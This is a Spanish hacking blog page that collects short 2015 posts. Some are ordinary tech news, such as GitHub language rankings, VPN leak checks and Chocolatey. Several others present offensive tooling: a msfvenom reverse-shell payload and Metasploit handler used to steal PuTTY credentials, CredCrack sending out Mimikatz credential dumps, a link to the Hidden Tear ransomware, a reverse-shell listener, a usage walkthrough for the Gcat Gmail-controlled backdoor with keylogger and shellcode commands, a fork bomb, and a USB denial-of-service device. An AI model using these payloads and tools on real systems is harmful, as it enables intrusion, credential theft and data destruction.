Las 100 palabras más usadas en Twitter por hackers y entusiastas de la seguridad

Twitter no es evidentemente el lugar idóneo para que los hackers puedan discutir sobre sus asuntos manteniendo la privacidad, para eso están los IRCs (hola nostálgicos!), foros y otros canales cifrados. No obstante puede ser un medio perfecto para que la información fluya y se comparta.

¿Y de que es lo que más hablan los hackers y otros entusiastas de la seguridad informática en Twitter? Pues existe un portal llamado Topsy que recopila todos los tweets desde el año 2006, los busca y los analiza ofreciendo interesantes estadísticas. Mediante este portal hemos podido saber los términos y palabras que más nos suenan y más resuenan entre la comunidad entusiasta de la seguridad informática y también el "público" en general en el último mes, y los resultados son bastante interesantes.

Por ejemplo, este ha sido el mes del escándalo 'ashley madison' y así lo reflejan sus  casi 600.000 tweets registrados sólo desde el día 17 de agosto. Luego en los primeros puestos se sitúan términos generalistas que también tienen otros significados fuera del ámbito de la seguridad informática como 'code', 'community', 'attack', etc. y destacan algunos más específicos como 'password', 'virus', 'root', ...

Que cada uno saque sus propias conclusiones. Os dejo esta y otras listas (en inglés) por si queréis también satisfacer vuestra curiosidad:

Top 100 - hacking & security terms
2.9M code
2.1M community
2.3M attack
1.9M weak
1.8M security
1.5M network
1.7M fix
1.2M crack
805k steal
762k hack
614k analysis
607k threat
599k ashley madison
542k banned
533k bug
507k pirate
504k technical
451k password
428k virus
414k root

Los lenguajes de programación más usados en GitHub en 2015

La semana pasada GitHub publicó el siguiente gráfico con la evolución de la popularidad de los lenguajes de programación más utilizados en su plataforma:


Los resultados representan los lenguajes más usados en repositorios públicos y privados, excluyendo los forks (al menos los detectados). Como veis GitHub ha ganado mucho tirón entre la comunidad Java (del 7º al 2º puesto), probablemente debido a la popularidad de Android y al incremento de la demanda de servicios de control de versiones en empresas.


Módulo de Metasploit para enumerar las sesiones guardadas de PuTTY

Hoy en día en entornos corporativos se utiliza mayoritariamente estaciones de trabajo con Windows 7 y el cliente PuTTY para acceder por SSH a servidores Linux. Para nosotros los "malos" es capital poder obtener las credenciales que utilizan los usuarios para acceder a esas máquinas ya que, o bien son técnicos de sistemas y las usan para administrar toda o gran parte de la infraestructura, o bien son desarrolladores que suben el código fuente o incluso administran aplicaciones concretas.

Yes... the PuTTY CLUB exists...

Stufus ha desarrollado un módulo de post-explotación para Metasploit que extrae información *muy útil* de PuTTY y Pageant (el primo-agente SSH de PuTTY): enumera las sesiones guardadas y los fingerprints de confianza y obtiene las claves privadas. Yo he convencido a un amigo administrador que usa PuTTY para probar el módulo XD, así que vamos a ello...

Primero genero el payload, sin necesidad de hacerlo FuD, porque mi amigo lo va a ejecutar desactivando el AV previamente (gracias amigo):

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=80 -f exe > shell.exe

Luego pongo la oreja y espero plácidamente que llamen a la puerta:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.206.128
LHOST => 192.168.206.128
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.206.128:80 
[*] Starting the payload handler...
msf exploit(handler) > 

msf exploit(handler) > 
[*] Sending stage (885806 bytes) to 192.168.206.1
[*] Meterpreter session 1 opened (192.168.206.128:80 -> 192.168.206.1:15655) at 2015-08-26 11:22:02 -0400

20 exploits para PHP explicados (分析和测试代码)

Ya sabéis que PHP es un lenguaje de programación de propósito general ampliamente utilizado, que está especialmente indicado para el desarrollo web y puede ser embebido en páginas HTML. En Github he encontrado un interesante proyecto llamado PCH (Php Codz Hacking) que contiene 20 ejemplos con distintos fragmentos de código que nos llevan fácilmente al análisis fundamental de los problemas de seguridad más comunes en las aplicaciones que usan PHP. No os los perdáis pero, eso sí, sacar el traductor de chino a pasear:

Item Título
PCH-020 Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]
PCH-019 Type Confusion Infoleak Vulnerability in unserialize() with DateTimeZone
PCH-018 PHP 脚本多字节字符解析模式带来的安全隐患
PCH-017 About PHP's unserialize() Function Use-After-Free Vulnerability
PCH-016 XSS via Error Reporting Notices in HHVM's unserialize() Function
PCH-015 Code Injection Vul via unserialize() & var_export() Function...
PCH-014 PHP WDDX Serializier Data Injection Vulnerability
PCH-013 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
PCH-012 New feature of double-quoted string's complex-curly syntax
PCH-011 Destructor in PHP
PCH-010 PHP string序列化与反序列化语法解析不一致带来的安全隐患
PCH-009 Security risk of php string offset
PCH-008 parse_str的变量初始化问题
PCH-007 New Includes Function -- spl_autoload()
PCH-006 安全模式下exec等函数安全隐患[updata:2009-6-19]
PCH-005 当magic_quotes_gpc=off
PCH-004 关于magic_quotes_sybase
PCH-003 mb_ereg(i)_replace()代码注射漏洞及其延伸出的正则应用安全问题
PCH-002 preg_match(_all)的变量初始化问题
PCH-001 intval()使用不当导致安全漏洞

Alibi Routing: controla por dónde *no* pasan tus paquetes con enrutamiento punto a punto

En cualquier comunicación a través de Internet, como simples peticiones a sitios web o mensajes de correo electrónico, la información se divide en paquetes y se envía a través de una serie de routers hasta que llega a su destino. Los usuarios no podemos controlar por donde viajan estos paquetes y simplemente estamos indefensos ante la interceptación de nuestros datos por parte de gobiernos u otros. Ante la censura del tráfico de Internet, los enrutamientos "sospechosos" y el seguimiento de los datos de los usuarios poco podemos hacer... hasta ahora.

Varios investigadores de la Universidad de Maryland han desarrollado un sistema de enrutamiento punto a punto llamado Alibi Routing con el que los usuarios pueden controlar al menos por dónde NO deben viajar sus paquetes. Su funcionamiento es sencillo: el usuario especifica con quien se quiere comunicar (con el destino) y las regiones geográficas "prohibidas" a evitar. Luego el sistema busca usuarios "alibi" ("coartada" en inglés) en la red peer-to-peer que puedan restransmitir los paquetes del usuario demostrando que evitan las regiones señaladas.

He aquí un ejemplo de un usuario en Italia tratando de comunicarse con un servidor en Noruega, evitando Alemania:



Para evaluar su método, los investigadores simularon una red con 20.000 participantes y seleccionaron regiones prohibidas recogidas en el informe de 2012 "Enemigos de Internet" publicado por Reporteros sin Fronteras (China, Siria, Corea del Norte y Arabia Saudí), así como los tres países con mayor número de usuarios en Internet (Estados Unidos, China y Japón).


Más información en:
Fuente: https://alibi.cs.umd.edu/
Whitepaper: https://alibi.cs.umd.edu/papers/alibi_sigcomm15.pdf (SIGCOMM 2015)
Código (27 KB): Contiene el prototipo de la aplicación y el simulador. En el README tenéis las instrucciones para instalarlo y su funcionamiento.
Datos (16 MB): Contiene los datos necesarios para ejecutar el código anterior y recrear los experimentos del paper. Incluye información de topología (país polígonos).

Consigue las credenciales del administrador de dominio en tan sólo 17 segundos con CredCrack

CredCrack es un script en Python de Jonathan Broche (@g0jhonny) que podemos usar para enumerar los recursos compartidos y recopilar rápidamente las credenciales de los servidores Windows de una red. Podríamos decir que es silencioso en cuanto a que carga las credenciales en memoria sin escribir a disco, y que también puede ser bastante rápido; en el siguiente vídeo se obtienen las credenciales de administrador de dominio en tan sólo 17 segundos:

Básicamente su funcionamiento es el siguiente:

- Inicia automáticamente el servicio de apache y despliega dos archivos en el directorio /var/www: fun.ps1 y creds.php.
- Valida la lista de IPs para asegurarse de que se llega a cada una de ellas y que tienen el puerto 445 abierto.
- Si se ha especificado el parámetro '-es' enumerará los recursos compartidos: smbclient -L //{} -U '{}/{}%{}'
- Consulta la lista de administradores de dominio de los sistemas alcanzables: net group \"Domain Admins\" /domain
- Lanza el script en powershell fun.ps1 que ejecuta mimikatz en memoria con Invoke-Mimikatz.ps1 y luego envía las credenciales mediante una petición POST que creds.php intercepta.
- Continua recopilando las credenciales de todos los sistemas provistos y cruza los usuarios obtenidos con la lista de administradores de dominio que había obtenido anteriormente.
- Finalmente muestra los resultados y se cierra limpiamente.

Hidden Tear, nace el primer ransomware de código abierto

Ya tenemos aquí el primer ransomware de código abierto. Se trata de "Hidden Tear" y lo ha publicado en Github el grupo turco Utku Sen. ¿Os suena Cryptowall o Cryptolocker? Pues se trata del mismo tipo de malware: usa cifrado AES para inutilizar los ficheros de la víctima y muestra un mensaje para intentar que los usuarios afectados paguen por su rescate. Por supuesto no es tan avanzado pero sin duda resulta bastante académico.

En el momento de su lanzamiento el malware evadía la mayoría antivirus, evidentemente ya no. "Si bien esto puede ser útil para algunos, existen riesgos significativos. Hidden Tear sólo podrá utilizarse con fines educativos. No lo utilice como ransomware", comenta Sen.

También han publicado un vídeo con una demo en el que se demuestra cómo el ransomware puede cifrar y descifrar archivos dejando una nota en el escritorio de la víctima.

Por el momento, la publicación de este código (parece que bastante mejorable, por cierto) ha generado bastante controversia en la comunidad. Veremos si esta fórmula termina en un desarrollo y evolución significativa de esta herramienta y/o se trata de una piedra angular de una nueva familia de ransomwares de código abierto moldeados y evolucionados por una basta mayoría. 

Pero por el momento y como comentaban hoy en el blog... "estamos viviendo los mejores momentos de la seguridad informatica ;)"

script kiddies' orgasm. part I

Hidden Tear: https://github.com/utkusen/hidden-tear

Cheat sheet de shell inversos (reverse shells)

Si tienes la suerte de encontrar una vulnerabilidad de ejecución remota de comandos (rce), seguro que querrás conectarse de nuevo a tu máquina atacante para usar un shell interactivo.
En el blog highon.coffee presentan una buena colección de shells inversos que podrás usar con los lenguajes de programación o los binarios instalados más comunes (nc, telnet, bash, etc).

Lo primero que debemos hacer es levantar un listener en la máquina atacante (a donde se conectará el shell inverso) en un puerto de salida que normalmente permiten los firewalls, por ejemplo el 80 o el 443.

root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...

Comandos en Linux para probar la velocidad de la línea de Internet

En algunas ocasiones necesitamos hacer pruebas de velocidad e incluso saturar nuestra línea de acceso a Internet para verificar que realmente podemos alcanzar el caudal contratado. Cuando esto ocurre muchas veces no disponemos de otro host remoto detrás de otra línea WAN y acabamos recurriendo a servidores FTP públicos que creemos que tienen buen ancho de banda, a mega.co.nz y hasta la Santísima Trinidad (incluso he visto usar clientes torrent y pensar en usar botnets!).

En esta entrada os voy a listar una serie de comandos para que los podáis copiar y pegar directamente en vuestro terminal y, simplemente desde vuestro equipo Linux (sin tienes dos mejor), podáis conseguir unas pruebas de benchmarking realmente impresionantes, sólo con iperf, wget, curl y poco más. Por supuesto también puedes currarte un sencillo script en shell para impresionar a tu jefe, o meter un while para petar una línea (cuidado con las que estén en producción).

Así que, al menos que quieras aprovechar para bajarte una serie desde la oficina, os recomiendo usar estos comandos contra estos servidores públicos de pruebas disponibles en Internet (por favor, si conoces más servidores públicos no dudes en comentar esta entrada):


Verificar IP pública
Muy útil para previamente asegurarnos qué línea vamos a comprobar.

Espectacular vídeo de un águila derribando un dron

La naturaleza revolviéndose contra la tecnología invasiva... Espectacular captura de Melbourne Aerial Video en el que se aprecia como un águila derriba un dron aéreo. No os lo perdáis:

Comprobaciones básicas para ver si nuestra VPN es segura

Ya hemos hablado de servicios VPN gratis o de pago para mantener el anonimato y la privacidad. Pero, ¿son realmente seguros estos servicios?, ¿cómo podemos comprobar que realmente nos están protegiendo y no están filtrando datos sobre nuestra identidad?


Lo primero que debemos mirar es que nuestra IP real no se muestre y, por lo tanto, esté a salvo de cualquier seguimiento o tracking. Lo segundo son las fugas de información sobre nuestras consultas DNS. Si nuestro ISP todavía puede ver qué sitios estamos resolviendo/visitando entonces la VPN que usamos no es segura. Digamos que esas dos cosas (IP y DNS), y por supuesto que el tráfico vaya cifrado correctamente, es lo más básico que tenemos que comprobar para verificar que el servicio VPN que estamos usando nos está protegiendo realmente.

Gcat, un backdoor escrito en Python que utiliza Gmail como C&C

Gcat es un backdoor escrito en Python que utiliza Gmail como servidor de comando y control (C&C). Para hacerlo funcionar primero necesitarás una cuenta de Gmail dedicada (¡no uses la tuya personal!) y activar "permitir aplicaciones menos seguras" en la configuración de la misma.

Luego en el repositorio de GitHub encontrarás dos archivos:

- gcat.py: un script usado para enumerar y listar los comandos disponibles del cliente
- implant.py: el backdoor real a desplegar

En ambos archivos, edita las variables gmail_user y gmail_pwd con el nombre de usuario y la contraseña correspondientes. Probablemente también querrás compilar implant.py en un archivo ejecutable utilizando PyInstaller.

Uso:

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands:
  Commands to execute on an implant

  -cmd CMD              Execute a system command
  -download PATH        Download a file from a clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger

Una vez que has implementado el backdoor en un par de sistemas, puedes comprobar los clientes disponibles utilizando el comando list:

#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86

La salida es una cadena UUID que identifica de forma exclusiva el sistema y SO donde el backdoor se está ejecutando.

Ahora vamos a mandar un comando a un equipo infectado:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv

Aquí le estamos diciendo a 90b2cd83-cb36-52de-84ee-99db6ff41a11 que ejecute ipconfig / all, luego el script mostrará el JobID que podremos utilizar para recuperar la salida de ese comando:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv     
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'


Windows IP Configuration

        Host Name . . . . . . . . . . . . : unknown-2d44b52
        Primary Dns Suffix  . . . . . . . : 
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

Fuente: https://github.com/byt3bl33d3r/gcat

BLEKey, un dispositivo para clonar tarjeras RFID por sólo 10$

Si eres informático y trabajas en una oficina seguramente llevarás colgada al cuello, como ganado en el redil, la típica tarjeta de identificación por radio-frecuencia (aka RFID) para acceder a las instalaciones. El problema... o lo divertido según se mire, es que estas tarjetas utilizan Wiegand, un protocolo "de la era del Apollo 11" bastante sencillo y sin seguridad nativa. De hecho, la falta de cifrado hace que sea fácil robar los códigos y otros datos necesarios para clonar las tarjetas de acceso físico.

Ayer en la Black Hat de Las Vegas, Eric Evenchick y Mark Baseggio presentaron BLEKey (de Bluetooth Low Energy), un dispositivo del tamaño de una moneda que se puede instalar en un minuto en un lector de tarjeta de proximidad y que se aprovecha de la debilidad del protocolo Wiegand para romper los controles de acceso físico que, hoy en día, están presentes en el 80 por ciento de las instalaciones. Aquí podéis ver un vídeo de su instalación:


Durante la charla ambos investigadores hicieron varias demos con tarjetas y lectores HID y repartieron los primeros dispositivos cuyo coste se estima en unos 10$.  Tiene un tamaño de 18×30 mm y se basa en BLE, o el modelo de bajo consumo de energía de Bluetooth. Además usa una batería que representa la mayor parte de su volumen, un chip Nordic (muy usado en wearables monitores de actividad), procesador, radio y software, además de otros componentes. Está previsto que muy pronto que publiquen los esquemas de hardware y el código fuente en GitHub. Veremos si puede ser una alternativa real (y sobretodo barata) a Proxmark3 y otros lectores/grabadores...

Fuentes:
- Accuvant researchers will be releasing an open source piece of hardware dubbed BLEkey that can be used to circumvent these RFID card readers.
- BLEKey Device Breaks RFID Physical Access Controls
- This $10 Device Can Clone RFID-equipped Access Cards Easily
- Getting physical: A $10 device to clone RFID access keys on the go
- Accuvant researchers to release open source RFID access tool

OneGet y Chocolatey, un "apt-get" para Windows

Una de las novedades de Windows 10 es la inclusión de OneGet, un interfaz de código abierto para sistemas de administración de paquetes con el que podemos:

- administrar una lista de repositorios de software en el que los paquetes se pueden buscar, adquirir e instalar
- buscar y filtrar repositorios para encontrar los paquetes que necesitamos
- instalar y desinstalar paquetes de una o más repositorios con un solo comando PowerShell

Lo bueno es que incluyen directamente un plugin para Chocolatey, un administrador de paquetes parecido a apt-get o yum pero para Windows, también de código abierto y que podemos usar incluso en Windows 7 y Windows 2008 R2.

Veamos un ejemplo instalando VLC en Windows 10:

C:\>  get-packageprovider -name chocolatey

The provider 'chocolatey v2.8.5.130' is not installed.
chocolatey may be manually downloaded from https://oneget.org/ChocolateyPr30.exe and installed.
Would you like PackageManagement to automatically download and install 'chocolatey'?

[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y

Name                     Version          
----                     -------          
Chocolatey               2.8.5.130        

C:\> install-package vlc

The provider 'nuget v2.8.5.127' is not installed.
nuget may be manually downloaded from https://oneget.org/nuget-anycpu-2.8.5.127.exe and installed.
Would you like PackageManagement to automatically download and install 'nuget' now?
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"): y

The package(s) come from a package source that is not marked as trusted.
Are you sure you want to install software from 'chocolatey'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): y

Name                           Version          Source           Summary
----                           -------          ------           -------
vlc                            2.2.1.20150630   chocolatey       VLC Media Player

Fuentes:
- Github OneGet: https://github.com/oneget/oneget
- cmdlets OneGet: https://github.com/OneGet/oneget/wiki/cmdlets
- Chocolatey: https://chocolatey.org/

9 comandos peligrosos en Linux

El shell de Linux es muy potente y sólo una simple instrucción podría llevarnos a eliminar sin querer directorios, archivos, el raíz, etc. Linux no suele pedir confirmación sino que ejecuta el comando de inmediato pudiendo causar la pérdida de datos útiles.

Echa un vistazo a los 9 comandos más "peligrosos":

1. bomba fork

:(){ :|: & };: es una función bash. Una vez ejecutada, se repite varias veces hasta que el sistema se bloquea. Podríamos decir que causa una denegación de servicio hasta el punto que tenemos que reiniciar el servidor.

2. mv directorio/dev/null

mv directorio/dev/null es otro comando arriesgado. dev/null o el dispositivo null descarta todos los datos escritos en el pero informa que la operación de escritura se ha realizado correctamente. Es también conocido como agujero negro o bit bucked.

3. rm -rf

El comando rm -rf es para borrar archivos o directorios. Siempre hay que tener mucho cuidado al utilizarlo. El parámetro '-r' elimina el contenido de una carpeta de forma recursiva y el parámetro '-f' fuerza la eliminación sin preguntar.

Cómo transformar tu smartphone en una pantalla holográfica

Recientemente se ha armado cierto revuelo en torno a Holus, un proyecto de crowdfunding para desarrollar una pantalla de sobremesa que muestra hologramas. No obstante, la mayoría de los hologramas actuales son un efecto más que una tecnología. Todo el mundo sabe lo que son o deberían ser los hologramas - en gran parte gracias a la ciencia ficción de Hollywood - pero todavía estamos muy lejos de conseguirlo.

La ventaja de esa decepción, sin embargo, es que es totalmente posible hacer una visualización 3D decente 'holográfica' con un teléfono inteligente.

Como detalla el usuario de YouTube Mrwhosetheboss, el proceso es sencillo y no requiere nada más de un teléfono, una caja de CD vieja y un cuchillo afilado. Para hacerlo es necesario cortar cuatro formas trapezoidales de plástico - 6 cm de ancho en la parte inferior y 1 cm de ancho en la parte superior - que se peguen entre sí y colocarlos sobre la pantalla del teléfono mientras se reproduce un vídeo preparado para el propósito.

El resultado parece ser muy impresionante, creando lo que parece ser una forma 3D en el centro del 'display'.

En realidad es esencialmente un truco de fiesta (una vez que has visto una mariposa flotante ya las has visto todas), pero es muy interesante como algo nuevo que hacer con el móvil a coste cero y en sólo diez minutos.

Por supuesto, además de estas (aunque muy pequeñas) versiones táctiles, existen otros tipos más impresionantes de hologramas. Por ejemplo, Microsoft Hololens es otro intento de crear objetos aparentemente tangibles en el aire mediante una gafas auriculares. Pero hasta que esas tecnologías estén disponibles para el público, esto podría ser la mejor (y más barata) alternativa.

Fuente: How to turn your phone into a holographic display, for free

El pendrive de la muerte

He creado un dispositivo, basado en Arduino Micro, que hace totalmente imposible el control de un ordenador al que se conecta mediante USB. Al conectarse, crea un teclado y un ratón virtual a través del puerto usb. Luego, envía caracteres aleatorios por el teclado seguidamente de un Intro después de cada uno, mueve el ratón en direcciones aleatorias girando también la rueda del ratón y por último da un click con el botón derecho, izquierdo o el del medio (la rueda) (aleatoriamente también) después de cada movimiento del ratón. 

He probado su potencia en VirtualBox: se empiezan a abrir ventanas de todo tipo tan rápido que no le da tiempo a mostrar una antes de que salgan unas cuantas más. También se abren archivos con el bloc de notas y, claro, se les mete un montón de m*ier*a con el teclado virtual. Después de un rato, en la pantalla ya se para el festival viendose ventanas a trozos. Entonces decido desconectar el dispositivo. Bueno, ya lo veréis en el video que grabé. 
 



Este dispositivo, si se hace con Arduino Micro, es relativamente fácil de encapsularlo en una carcasa de un pendrive y soldarle un conector usb de tipo A macho....
Así que ya sabes, si alguien te presta un pendrive y no es un pendrive normal... 

Bueno, para que no sea tan incontrolable, le he puesto unos pines de configuración que, si pones un puente entre el pin 2 y tierra debes enviar un "10" por el puerto serie para que empiece; y si lo pones entre el 2 y el 3 hay simplemente cuenta atras de 60 segundos. 

El código está distribuido bajo licencia GPL v3 y yo NO ME HAGO RESPONSABLE DE TODAS LAS MALDADES QUE HAGAIS CON ESTO.

Repositorio github del código: https://github.com/Aztemat/DoS-over-Mouse-Keyboard/

pd. El código es solo compatible con placas arduino que tienen el puerto USB nativo, que si no recuerdo mal son: Arduino Leonardo, Micro, Due y alguna más.

Saludos de Aztemat